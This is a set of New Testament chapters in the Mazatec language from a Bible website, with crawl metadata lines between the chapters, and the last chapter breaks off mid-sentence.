kisindaà. 12Cristo, jngoò k'aá jahas'en ya̱ I̱'nde Tsjeè. Mìtsà ti̱ jní‑la̱ tíndsó ko̱ jní‑la̱ nchra̱ja̱ jahas'en‑ko̱‑ne. Ts'e̱ sobá jní jahas'en‑ne. K'oa̱á s'ín kis'iìn nga tsibíchjítjì jé‑ná, mé‑ne nga komà kisìkítsa̱jnandei̱í‑ná ni̱ta̱ mé na̱chrjein‑ne. 13Jè jní‑la̱ nchra̱ja̱ ko̱ jní‑la̱ tíndsó ko̱ chijo‑la̱ nchra̱ja̱ kitì xi nchra̱ja̱ chjo̱ón ki'ndí, maá‑la̱ sítsjeè yijo‑la̱ xi̱ta̱ xi xa̱'ya̱‑la̱ k'e̱ nga xíxteèn‑jno. 14Tsà k'oa̱á s'ín bitasòn kjoa̱ koi, jè jní xi tsibíxteèn Cristo, ìsa̱á tse nga'ñó tjín‑la̱. Nga i̱t'aà ts'e̱é nga'ñó‑la̱ Ini̱ma̱ Tsjeè xi tíjnakon ni̱ta̱ mé na̱chrjein‑ne nga kitsjaà kjo̱tjò‑la̱ Nainá yijo‑la̱ xi mìtsà mé jé tjín‑la̱. Jè jní‑la̱ Cristo sítsjeèya kjo̱hítsjeèn‑nò nga mì ti̱ kiì koa̱ ti̱s'ín s'e̱n‑nò kjoa̱ xi fìko̱‑ná kjoa̱biyaà, mé‑ne nga ma si̱xá‑là Nainá xi tíjnakon. 15K'oa̱á ma‑ne nga jè Cristo osìjnajiìn osen koni s'ín tsibí'ñó jngoò kjoa̱ xi̱tse̱. K'e̱ nga k'en ngajo‑la̱ xi̱ta̱, jè tsibíchjítjì jé‑la̱ xi tsohótsji xi̱ta̱ k'e̱ nga ti̱sa̱ jè tíhotíxoma kjoa̱ xi kisindaàjiìn ítjòn, mé‑ne ngats'iì xi̱ta̱ xi xó jaàjiìn‑ne tjoé‑la̱ kjo̱tjò xi tsjá Nainá ni̱ta̱ kjé‑ne koni s'ín kitsjaà 'én‑la̱ Nainá xi tso'ba kiìchja̱‑ne. 16K'e̱ nga jngoò xi̱ta̱ mejèn‑la̱ síka'bí tsojmì xi tjín‑la̱, bíndaà jngoò xo̱jo̱n xi bí'ñó. Skanda k'e̱é mochjeén k'e̱ nga biyaà jè xi̱ta̱ xi bíndaà. 17Ta̱nga xo̱jo̱n jè, ni̱mé chjí‑la̱ k'e̱ nga ti̱kj'eè biyaà xi̱ta̱ xi tsibíndaà; skanda k'e̱é chjí‑la̱ k'e̱ nga ki̱yá. 18Jè kjoa̱ xi kisindaàjiìn ítjòn k'oa̱á ti̱s'ín kisindaàjiìn nga cho̱ k'en mé‑ne komà kixíxteèn‑ne jní. 19Moisés, k'e̱ nga jye tsibíxke̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá ngats'iì kjo̱tíxoma‑la̱ Nainá, i̱kjoàn kiskoé jní‑la̱ tíndsó ko̱ jní‑la̱ nchra̱ja̱ ki'ndí ko̱ kisìkájiìn nandá; ko̱ kiskoé jngoò chrja‑la̱ yá hisopo ko̱ tsja̱‑la̱ orrè xi inì kjoàn; jahajiìn jní‑la̱ cho̱; i̱kjoàn tsibíxteèn‑jno jè xo̱jo̱n xi tjít'aà kjo̱tíxoma‑la̱ Nainá; k'e̱é tsibíxteèn‑jno ngats'iì xi̱ta̱ na̱xa̱ndá. 20Moisés kitsò: \"Jè jní jè xi síkixi̱ya kjoa̱ nga ko̱ma si̱kitasòn koni s'ín tsibíndaàjiìn‑ko̱‑nó Nainá.\" 21Moisés, ti̱koa̱á tsibíxteèn‑jno jní jè Ni'ya Tsjeè‑la̱ Nainá xi nikje ko̱ ngats'iì tsojmì xi mochjeén k'e̱ nga yaxkón Nainá. 22Koni s'ín tíchja̱ xo̱jo̱n xi tjít'aà kjo̱tíxoma‑la̱ Nainá, mejèn tsà ngats'iì kjoa̱, sa̱á jní matsjeèya‑ne; tsà mìkiì xíxteèn jní, mìkiì ko̱ma jcha̱t'aà‑la̱ jé‑la̱ xi̱ta̱. 23K'oa̱á s'ín kjòchjeén nga jní‑la̱ cho̱ matsjeèya‑ne jè Ni'ya Nikje Tsjeè ko̱ tsojmì xi tjíya xi mochjeén k'e̱ nga yaxkón Nainá; jñà tsojmì koi, ta okó‑né koni choòn ján ngajmiì; ta̱nga jñà xi tjín ngajmiì, mochjeén‑né nga biyaà jngoò xi ìsa̱ xkón tjín mé‑ne ko̱ma ko̱tsjeèya‑ne. 24Ta̱nga Cristo, mìtsà ya̱ jahas'en Ni'ya Nikje Tsjeè xi tsja xi̱ta̱ kisindaà‑ne, xi ta okó xi tjín ngajmiì. Cristo, nguì ya̱á jahas'en ngajmiì nga nguixko̱n Nainá nga tíchja̱tjì‑ná. 25Mìkiì k'oa̱s'ín kjìn k'a jahas'en ya̱ ngajmiì nga kitsjaàt'aà kjo̱tjò yijo‑la̱, koni s'ín no̱'miì ítjòn nga xki̱ nó fahas'en I̱'nde xi 'Ñó Tsjeè, nga fahas'en ko̱ jní xi mìtsà ts'e̱. 26Cristo tsà kjìn‑la k'a jahas'en ngajmiì ti̱koa̱ tjínè‑la̱ nga kjìn k'a si̱ìkjeiín kjo̱'in kó‑ne skanda kisindaà i̱sò'nde. Ta̱nga i̱'ndei̱, nga jye tífehet'aà na̱chrjein, ta jngoò k'a j'iì nga kitsjaà kjo̱tjò yijo‑la̱ nga tsibíxteèn jní‑la̱, mé‑ne nga kitjaàxìn‑ne kjoa̱ ts'e̱ jé ni̱ta̱ mé na̱chrjein‑ne. 27K'oa̱á s'ín tjín nga ngats'iì xi̱ta̱, ta jngoò k'a biyaà, ko̱ i̱skan kjoi̱í jè na̱chrjein nga si̱ndaàjiìn‑la̱. 28K'oa̱á ti̱s'ín tjín i̱t'aà ts'e̱ Cristo, ta jngoò k'a kitsjaàt'aà kjo̱tjò yijo‑la̱ nga tsibíxteèn jní‑la̱, mé‑ne nga kjìn xi̱ta̱ tjáxìn‑ne jé‑la̱. Xi ma‑ne jò k'a, ki̱tjojen ìjngoò k'a‑ne ngajmiì; mìtsà ti̱ jé kjoa̱áxìn‑ne; koií xá kjoi̱í‑ne nga ko̱chrjekàjiìn kjo̱'in jñà xi̱ta̱ xi nchikoña‑la̱.\nHebreos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/9","date":"2013-12-13T22:22:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386165000886\/warc\/CC-MAIN-20131204135000-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":933,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ ts'e̱ nga'ñó xi maxkót'aà‑la̱ jñà xi̱ta̱ tsjeè‑la̱ Nainá xi ko̱chjeén‑la̱ jè nga'ñó, mì ti̱ kiì mochjeén‑ne nga 'a̱n skiì‑ìsa‑nò. 2Be‑ná nga titsa̱jnandaà nga mejèn‑nò si̱kitasòn. K'oa̱á xan‑la̱ jñà xi̱ta̱ xi nangui Macedonia ts'e̱ nga jñò xi Acaya tsa̱jòn, titsa̱jnandaà‑nò skanda jè nó xi tsato nga mejèn‑nò si̱kasén nga'ñó. K'e̱ nga kiì'nchré jñà xi̱ta̱ Macedonia koni s'ín titsa̱'nè, kjìn ma‑ne xi matsja‑la̱ i̱t'aà tsa̱jòn ti̱koa̱á kjòtsja‑la̱ nga mejèn‑la̱ si̱ìchját'aà. 3Koií xá tìsìkasén‑nò jñà 'ndseé koi, mé‑ne 'a̱n mì ch'o kóti̱jna‑na̱ tsà koi na̱chrjein‑la̱ tsà ta 'én ndiso ko̱ma‑ne koni s'ín ndaà síkítsa̱jna‑nò i̱t'aà ts'e̱ kjoa̱ koi, mé‑ne jñò titsa̱jnandaà koni s'ín kixan. 4Kós'ín ko̱ma‑ne tsà koi na̱chrjein‑la̱ kji̱ko̱ i'nga‑na̱ xi̱ta̱ Macedonia. K'e̱ nga ki̱jchò skoe̱‑nò nga kj'eè kiì titsa̱jnandaà nga'ñó xi si̱kasén. Tsà k'oa̱s'ín ko̱ma kjoa̱ koi, ngaje̱n ko̱sobá‑naje̱n, ko̱ jñò, ìsa̱á 'ñó ko̱sobà‑anò. Nga ngaje̱n, i̱t'aà tsa̱jòn 'ñó ndaà nìkítsa̱jna‑nòje̱n. 5Koií kjoa̱‑la̱ k'oa̱á s'ín tìsìkítsjeèn nga tsibìtsi'ba‑la̱ jñà 'ndseé nga kisìkasén ítjoàn, mé‑ne nga kàtìkon‑nò koa̱ kàtasíchját'aà‑nò nga kàtíxkóko̱‑nò to̱n kjo̱tjò xi jye k'oa̱s'ín kits'ioò ndso̱baà, mé‑ne k'e̱ nga jye tíjnandaà kjo̱tjò‑nò jcha̱‑la̱ nga i̱jiìn ini̱ma̱‑nò inchrobàjiìn‑ne; mìtsà kjo̱'ñó komà‑nò. 6Ti̱kítsjeèn jè 'én xi tsò: Jè xi chiba tsojmì bítje̱, chibaá tsojmì majchá‑la̱; jè xi tse tsojmì bítje̱, kjìn tsojmì majchá‑la̱. 7Nga jngoò ìjngoò, k'oa̱á kji kàtatsjá koni kji kosòn‑la̱ ini̱ma̱‑la̱. Mìtsà ko̱ kjo̱ba‑la̱ nga tsjá, ni̱ mìtsà kjo̱'ñó ko̱ma‑la̱, nga Nainá tsjakeè‑né xi ko̱ kjo̱tsja‑la̱ tsjá. 8Nainá ko̱ma‑la̱ tsjá yije‑nò kjo̱ndaà xi tjín‑la̱, mé‑ne nga kjit'aà na̱chrjein s'e̱ yije‑nò xi mochjeén‑nò, skanda kininguií‑nò mé‑ne ko̱ma si̱chját'aà ts'e̱ xá xi ndaà tjín. 9K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Kisìka'bí‑la̱ xi̱ta̱ i̱ma̱ nga kitsjaà‑la̱ mé xi mochjeén‑la̱. Kjoa̱kixi̱‑la̱, mìkiì kjoe̱het'aà ni̱ta̱ kjé‑ne. 10Nainá tsjá tje̱‑la̱ tsojmì xi sitje̱, ti̱koa̱ tsjá tsojmì xi chineé. Tsjá yije‑nò xi mochjeén‑nò nga kìtje̱e; ti̱koa̱á síjchá tsojmì xi bìtje̱e. Kjìn sko̱ya kjo̱ndaà sa̱kò‑nò k'e̱ nga ko̱ kjoa̱kixi̱‑nò 'bioò kjo̱tjò‑nò. 11Jñò, s'e̱ yije‑nò ngats'iì kjoa̱ nchi̱ná xi tjín, mé‑ne nga ko̱ kjo̱ndaà‑nò ma si̱chját'aà‑là xi̱ta̱ xi kj'ei̱í, nga si̱kasén‑là kjo̱tjò xi ngaje̱n onguíko̱‑je̱n. K'e̱ nga tjoé‑la̱ jñà xi̱ta̱ 'ndseé, tsjá‑la̱ kjo̱ndaà Nainá. 12Jñà tsojmì kjo̱tjò xi titsa̱nìkasén‑là jñà xi̱ta̱ 'ndseé, mìtsà ta koi kjoa̱‑la̱ nga ko̱chját'aà‑la̱ mé xi chija‑la̱, ti̱koa̱ koií‑né nga ìsa̱ kjìn ko̱ma xi̱ta̱ xi tsjá‑la̱ kjo̱ndaà Nainá. 13Jñà xi̱ta̱ koi, k'e̱ nga tjoé‑la̱ tsojmì kjo̱tjò, jeya si̱ìkíjna Nainá. K'oa̱á s'ín skoe̱‑ne nga kixi̱í kjoa̱ nga jñò nìkitasòn‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo koni s'ín mokjeiín‑nò. Jñà xi̱ta̱ koi skoe̱xkón Nainá i̱t'aà ts'e̱ tsojmì kjo̱tjò xi 'biì‑là ko̱ xi 'biì‑là jñà xi̱ta̱ xi kj'ei̱í. 14Ko̱ó ini̱ma̱‑la̱ ki̱chja̱t'aà‑la̱ Nainá i̱t'aà tsa̱jòn, nga 'ñó tse kjo̱ndaà tísakó‑nò xi tsjá‑nò Nainá. 15¡Ndaà chjí‑la̱ Nainá nga 'ñó tse kjo̱ndaà tsjá‑ná, skanda tsjìn‑ná 'én kós'ín k'oi̱‑lá kjo̱ndaà!\n2 Corintios 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/9","date":"2013-12-06T05:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049608\/warc\/CC-MAIN-20131204131729-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":443,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngo‑isa xkósòn kijná‑no: 'Kia̱ nga 'sa̱ jtobá 'ki jngo ti, ta ma ta ya̱á mangásòn‑ko̱ jè chi̱'nda, kjè tsa jè be ya̱ ni'ya‑la̱, skanda 'kia̱‑ní, 'kia̱ nga ijye bijchó nó‑la̱ nga jè ma ni‑la̱ nga'tsì tsajmì ra tjín‑la̱ na̱'ìn‑la̱. 2Nga 'kia̱ 'sa̱ jtobá 'ki‑isa, machjeén‑ní nga xi̱ta̱ síkinda̱‑isa ra jè, ko̱ tsijen tjín‑te xi̱ta̱ ra síkinda̱ jñà tsajmì ra 'tse̱, skanda 'kia̱ nga bijchó jè ni̱chjin nga ngi jè si̱ìkinda̱ sabà koni 'sín ijye tsikíjna ni̱chjin jè na̱'ìn‑la̱. 3Jién ra xi̱ta̱ 'mí‑ná, 'koa̱á ti̱'sín kjòn kjomé koni tsa i̱xti; 'kia̱ nga ti̱kjè makjiín‑ná a̱'ta 'tse̱ Cristo, jñà kjo̱téxoma ra tjín i̱ i̱sà'nde, jñá 'ñó tsatéxoma‑ná koni tsa chi̱'nda'ñó‑la̱ kjomé. 4Tanga 'kia̱ nga ijchò ni̱chjin koni 'sín nga ijye tjínda‑la̱ Nainá; jé Nainá isìkasén I'ndí‑la̱ i̱ a̱'ta nangi nga i̱ kitsin, nga isìchjeén jngo ndí chjo̱ón nga jè kitsin‑la̱, koni 'sín tsin xi̱ta̱ i̱sà'nde, ko̱ ya̱á kjojchájin kjo̱téxoma 'tse̱ xi̱ta̱ judío. 5Kií ko̱'sín ki'sìn‑ni Nainá nga kisìkasén I'ndí‑la̱, mé‑ni jñà xi̱ta̱ ra ya̱ títsa̱jin kjo̱téxoma, ko̱ma kítsa̱jnandi̱í‑ni ko̱ mé‑ni ngásòn ngáya ma ska̱ábétjó‑ná Nainá nga i̱xti‑la̱ ki̱tso̱‑ná. 6'Koa̱á ma‑ni 'ndi̱‑ni̱, 'kia̱ nga ijye i̱xti‑la̱ 'mì‑ná, jè Nainá isìkasén jè Inìma̱ Tsje ra 'tse̱ I'ndí‑la̱ ya̱ a̱jin inìma̱‑ná. Jè Inìma̱ Tsje ra isìkasén tsò‑ní: \"Ji̱ a̱pá.\" 7'Koa̱á ma‑ni nga 'ndi̱ 'ndi̱ mì tsa ti̱ chi̱'nda'ñó titsa̱jna‑ná. Ijyeé i̱xti‑la̱ tsó‑ná jè Nainá; ko̱ 'ndi̱‑ni̱ nga ijyeé i̱xti‑la̱ tsó‑ná, 'koa̱á 'sín tsjá‑te‑ná jè kjo̱tjò ra ko̱'sín tíjnanda‑la̱ nga si̱ìnga̱tsja jñà ra i̱xti‑la̱ ma. 8'Kia̱ ti̱'sa̱ kjotseé nga ti̱kjè 'yaxkon jiòn jè ra ngi jè sabà Nainá, ya̱á kjomà jiòn chi̱'nda'ñó‑la jñà nainá ra mì tsa kixi̱‑ni kjoa̱ nga nainá. 9Tanga 'ndi̱ 'ndi̱, 'kia̱ nga ijye 'yaxkon jiòn ra ngi jè sabà Nainá, (o̱ ra isa̱á nda jnchro tsa ki̱'sín xián‑no, 'ndi̱ 'ndi̱ 'kia̱ nga ijye jè sabà Nainá bexkon‑no), ¿mé‑ni ko̱'sín nikaatjìya‑la jè kjo̱bítsjen‑no nga mejèn‑no ya̱ mangí'ta‑la jñà kjo̱téxoma i̱ma̱ ra tjín‑no, jè ra tsìn‑la̱ nga'ñó ko̱ ni̱mé chjí‑la̱? ¿A mején‑no nga ya̱ jtsa̱ba̱'ñó india‑no? 10Jiòn takó 'ñó 'yaxkón jiòn jñà ni̱chjin ra 'tse̱ 'sí, ni̱chjin ra 'tse̱ sá, ko̱ ni̱chjin ra 'tse̱ nó. 11Makájno‑na koni 'sín nga i̱nchi'nià jiòn. 'Koa̱á ma‑na, nga ta ra 'áa‑na 'kia̱ nga ko̱'sín kisíxá‑jin‑najiòn. 12Ra 'a̱n, tsáse̱n'táxín‑la̱ jè kjo̱téxoma koni 'sín nga tincha'tàxìn‑la jiòn ti̱'sa̱ kjotseé. Ko̱ 'koa̱á 'sín síjé‑no 'ndi̱‑ni̱ nga ko̱'sín ti̱ncha'tàxìn‑la koni 'sín nga 'a̱n tsáse̱n'taxìn‑la̱. Nga̱ ngà'sa̱ ítjòn mì tsa mé ra tsi'kín‑nájiòn. 13Tjíjiín‑najiòn nga ta kií nga̱tjì‑la̱ jè 'chin ra tjín‑na nga ko̱'sín ijchòo̱ ya̱ na̱xi̱ndá‑najiòn, ko̱ ya̱á kina'yá ítjòn jiòn jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra 'a̱n tsi'kènájmíya‑no. 14Ni̱'sín kísijtí chiba‑najiòn ta nga̱tjì‑la̱ jè 'chin ra tjín‑na, mì tsa inachrjengi‑nájiòn ko̱ ni̱ mì tsa iníkíjna'taxìn‑nájiòn; ta isa̱á jnchro nda ichjíbétjò‑nájiòn koni tsa ìkja̱li̱ 'tse̱ Nainá ko̱ koni tsa jè sabá Cristo Jesús. 15¿Ñánda̱ tíjna jè kjo̱tsja ra ko̱'sín ta nda ki'se‑najiòn nga ti̱'sa̱ ítjòn? Maá ko̱xiáa̱n ra a̱'ta tsa̱jiòn, 'kia̱ nga ti̱'sa̱ ítjòn, sí mején‑najiòn nga ki̱náchrje jiòn jñà xkòn, nga mejèn‑no nga tsi'kí‑ná. 16¿A kondra̱á tíjna̱‑najiòn 'ndi̱‑ni̱, 'kia̱ nga ko̱'sín kíxin‑najiòn koni 'sín tjín ra ngi kjo̱hixi̱? 17Jñà xi̱ta̱ ra ko̱'sín tsò‑najiòn nga machjeén‑ní nga si̱hitjasòn kjo̱téxoma, batoó 'ñó mejèn‑la̱ nga ya̱ kongítji̱ngi‑la jiòn, tanga mì tsa kjo̱bítsjen nda‑jìn ra tjín‑la̱. Ta jé ra mejèn‑la̱ nga kítjo̱'taxín‑náji̱n mé‑ni nga ya̱ kongí'ta‑la jiòn. 18Ndaá tjín 'kia̱ nga jngo kjoa̱ 'ñó mejèn‑ná 'sie̱én, tanga tsa ta ndaá tjín kjoa̱ ra mejèn‑ná. Jé ra mejèn‑na nga ko̱'sín 'sia̱n ki'ta jiòn; mì tsa ta 'kia̱‑jìn 'kia̱ nga ya̱ tíjna̱ko̱‑najiòn. 19Jiòn ra koni tsa ndí i̱xti‑na̱ xian‑no, ra a̱'ta tsa̱jiòn tísikjín india‑na kjo̱hi'in koni 'sín síkjiín kjo̱hi'in jngo ndí chjo̱ón 'kia̱ nga tsin ndí i'ndí. Jè kjo̱hi'in ra̱kìi̱, 'kia̱á kje̱he'tà skanda 'kia̱ nga ijye jè Cristo nda kíjnajin ya̱ inìma̱‑najiòn. 20¡Sí mején‑na tsa ya̱ tíjna̱ko̱ kjòn‑najiòn 'ndi̱ 'ndi̱, mé‑ni nga ma kokóna̱jmí‑najiòn 'én ra kj'ií tsò, nga̱ ijyeé mì kì ti̱ be‑na kó'sín síkítsjen ra a̱'ta tsa̱jiòn! 21Jngo 'én ko̱'tín‑ná, jiòn ra jè mejèn‑no nga kjoa̱ 'tse̱ kjo̱téxoma si̱itjasòn. ¿A kjeé na'yá‑la jiòn kó'sín tsò jè kjo̱téxoma ra tjí'ta xa̱jo̱n 'tse̱ Moisés? 22'Koa̱á 'sín tsò nga jè Abraham, jò i̱xti ki'se‑la̱; jngo ra 'tse̱ chjo̱ón chi̱'nda‑la̱ ko̱ jngo ra ngi 'tse̱ ra ngi chjo̱ón‑la̱. 23Jè i'ndí‑la̱ chjo̱ón chi̱'nda, 'koa̱á 'sín kisakò koni 'sín sakò nga'tsì ra ta kj'ií i̱xti; tanga jè i'ndí ra ngi 'tse̱ chjo̱ón‑la̱, 'koa̱á 'sín kisakò‑la̱ nga jè itjasòn koni 'sín ijye kitsjà‑la̱ 'én‑la̱ Nainá jè Abraham. 24Kjoa̱ kìi̱, tjín jngo kjoa̱ ra bakón‑ya‑ná; ngajò íchjín kìi̱ jñà chja̱‑ni ngajò kjoa̱ ra tsikíndajín Nainá; jè chjo̱ón ra 'mì Agar, 'koa̱á jngoya‑la̱ koni jè kjoa̱ ra kisindajín ya̱ nindo Sinaí 'kia̱ nga tsi'kì‑la̱ kjo̱téxoma jè Moisés. Nga̱ jñà i̱xti‑la̱ jè chjo̱ón ra 'mì Agar ta xi̱ta̱ chi̱'ndaá kjomà ki'ta. 25Jè chjo̱ón ra 'mì Agar jè jngoya‑la̱ jè nindo Sinaí ra síjna ya̱ ján nangi Arabia; ko̱ 'koa̱á jngoya‑te‑la̱ jè na̱xi̱ndá Jerusalén ra tíjna 'ndi̱‑ni̱, nga̱ jñà xi̱ta̱‑la̱ na̱xi̱ndá ra̱kìi̱ chi̱'nda'ñó títsa̱hijyo a̱'ta 'tse̱ kjo̱téxoma. 26Tanga jè na̱xi̱ndá Jerusalén ra tíjna ya̱ ján ngajmi, tíjnandi̱í‑ní, ko̱ ya̱á nakjoá‑ná a̱'ta 'tse̱ na̱xi̱ndá ra̱kìi̱; 'koa̱á jngoya‑la̱ koni tsa na̱‑ná ma. 27Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: 'Ñó tsja 'tè‑la̱ takìn ji̱ ra chjo̱ón 'ndi̱ 'mì‑li, ngaji̱ ra mì tsa i̱xti kitsin‑li. 'Ñó chjíndáya‑ni kjo̱tsja‑li, nga̱ mì kì 'yi ji̱ kó'sín ma 'kia̱ nga tsin i̱xti. Nga̱ jè chjo̱ón ra kijmitákon, isa̱á kjìn ma‑ni i̱xti‑la̱, nda mí 'koa̱‑ni koni jè chjo̱ón ra tjín 'xi̱n‑la̱. 28Jiòn ndí 'ndsé ko̱ tichjeé, 'koa̱á jngoya‑te‑la jiòn‑jiòn ko̱ jè Isaac, ya̱á majngo'tá‑la jiòn i̱xti ra jè Nainá ko̱'sín kitsò‑la̱ nga tsjá‑la̱ jè Abraham ko̱ Sara. 29Jè i'ndí ra taxki̱ isakò ra a̱'ta 'tse̱ chjo̱ón chi̱'nda, kjojtike‑ní ko̱ tsahatji̱ngi‑la̱ jè i'ndí ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá 'ji‑ni; koni 'sín kjomà jñà ni̱chjin kiòo̱, takó 'koa̱á chon ni̱chjin 'ndi̱ 'ndi̱. 30Tanga, ¿kó tsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá? Tsó‑ní: \"Ti̱ìtji̱ngi‑la̱ jè ra chjo̱ón chi̱'nda ko̱ jè i'ndí‑la̱; nga̱ jè i'ndí‑la̱, mì tsa mé kjo̱tjò ra tjábé‑la̱; ta jé tjábé‑la̱ kjo̱tjò jè i'ndí‑la̱ ra mì tsa chjo̱ón chi̱'nda.\" 31'Koa̱á ma‑ni jiòn ndí 'ndsé ko̱ jiòn ndí tichjeé, ra jién, mì tsa i̱xti‑la̱ chjo̱ón chi̱'nda meé ra jién; jién‑ná i̱xti‑la̱ ra mì tsa chjo̱ón chi̱'nda.\nGálatas 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/4","date":"2013-12-09T01:51:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163844441\/warc\/CC-MAIN-20131204133044-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1011,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Nainá maà xi titsa̱jnaà ya̱ na̱xa̱ndá Tesalónica nga ya̱ titsa̱jnakjoòko̱o Nainá xi Na̱'èn‑ná ko̱ jè Jesucristo xi otíxoma‑ná, 'a̱n xi 'mì‑na Pablo titsa̱nìhixot'aà‑nòje̱n ko̱ Silvano [ti̱jé‑ne xi 'mì Silas] ko̱ Timoteo. Nainá kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 2K'e̱ nga nokjoàt'aà‑la̱je̱n Nainá, kjit'aà na̱chrjein 'biì‑la̱je̱n kjo̱ndaà i̱t'aà tsa̱jòn. 3Bítsjeèn‑naje̱n nga nguixko̱n Nainá xi Na̱'èn‑ná koni s'ín nga titsa̱nìxá, koií kjoa̱‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo, ti̱koa̱ ndaà nìxá‑là xi̱ta̱ xi kj'ei̱í nga matsjacha, nga ti̱koa̱ kixi̱ titsa̱jnaà nga titsa̱chiñà‑là Jesucristo xi otíxoma‑ná. 4Ndí 'ndsè, Nainá matsjakeè‑nò. 'Ya‑náje̱n nga xó k'oa̱s'ín jaàjiìn‑nò nga xi̱ta̱ na̱xa̱ndá‑la̱ ko̱maà. 5Nga jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi tsibèno̱jmí‑nòje̱n, mìtsà ta 'én tsa̱je̱n xi kinokjoáko̱‑nòje̱n. Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsjaà‑naje̱n nga'ñó, ko̱ ti̱koa̱ 'ñó ndaà kjòchi̱ya‑naje̱n nga nguì kixi̱ kjoa̱. Jñò, ndaà ki'yaà k'e̱ nga ya̱ tsakítsa̱jna‑je̱n, ndaà kinìchját'aà‑nòje̱n xi kjo̱ndaà tsa̱jòn. 6Jñò, k'oa̱á s'ín ki'nè koni s'ín ki'nè‑je̱n ko̱ koni s'ín s'ín Cristo. Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsjaà‑nò kjo̱tsja nga komà kichjoétjò 'én‑la̱ Nainá na̱s'ín 'ñó tse kjo̱'in tsatojioòn. 7K'oa̱á ma‑ne jñò tsakoò jngoò‑là kjoa̱ xi ndaà tjín nga kiskinguì ngats'iì xi̱ta̱ xi jye kòkjeiín‑la̱ 'én‑la̱ Nainá ya̱ nangui Macedonia ko̱ Acaya. 8Nga ya̱á kjòts'ia̱‑ne i̱t'aà tsa̱jòn nga tsabísòn jè 'én ndaà‑la̱ Na̱'èn‑ná; mìtsà tà ya̱ nangui Macedonia ko̱ Acaya; xki̱ xi ján kina'yà‑la̱ nga jñò, ndaà mokjeiín‑nò i̱t'aà ts'e̱ Nainá. K'oa̱á ma‑ne nga mì ti̱ kiì mochjeén‑ne nga ngaje̱n kéno̱jmí‑la̱je̱n xi̱ta̱ i̱t'aà tsa̱jòn, nga jyeé beè‑nò xi̱ta̱. 9Nga̱ ti̱jñà béno̱jmí‑ne nga ndaà kichjoétjò‑náje̱n k'e̱ nga ijchochoòn‑nòje̱n. Ti̱koa̱á tsò‑né nga jñò jyeé kinìkíjna kjoa̱ ts'e̱ xkósòn. I̱'ndei̱ jyeé ya̱ tjaàt'aà‑là xi nguì jè sobà Nainá xi kixi̱ kjoa̱ nga tíjnakon. 10Ti̱koa̱á béno̱jmí‑né nga titsa̱chiñà‑là Ki'ndí‑la̱ Nainá nga ki̱tjojen ìjngoò k'a‑ne ngajmiì, jè xi ti̱jè‑ne Jesús xi Nainá kisìkjaáya‑la̱ k'e̱ nga k'en, nga jè‑né xi ko̱chrjekàjiìn‑ná kjo̱'in ts'e̱ kjoa̱jti‑la̱ Nainá xi sa̱ nchrobá.\n1 Tesalonicenses Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/","date":"2013-12-12T08:48:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164573346\/warc\/CC-MAIN-20131204134253-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":307,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni nga ko̱'sín isíkítsjen nga mì kì ti̱ kiìjkon‑najiòn, nga̱ majìn‑na nga ta kjo̱ba kijchòko̱‑no. 2Nga̱ tsa 'a̱n kijchòko̱‑najiòn kjo̱ba, ¿yá ra ma tsjá india‑na kjo̱tsja? Nga̱ ijyeé ta baá 'se̱‑najiòn. 3'Koa̱á ma‑ni nga ta 